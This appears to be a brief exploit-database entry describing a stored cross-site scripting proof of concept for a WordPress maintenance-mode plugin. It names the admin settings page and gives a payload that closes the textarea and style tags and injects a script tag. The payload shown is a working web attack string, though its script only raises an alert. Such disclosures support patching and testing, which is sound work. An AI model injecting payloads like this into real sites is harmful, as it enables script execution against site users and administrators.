## https://sploitus.com/exploit?id=WPEX-ID:5F1DD9AD-DD2D-4D8F-903D-229A1163105D
As admin, put the following in the Custom CSS setting (/wp-admin/options-general.php?page=maintenance_mode_options, Advanced Section) </textarea></style><script>alert(/XSS/)</script>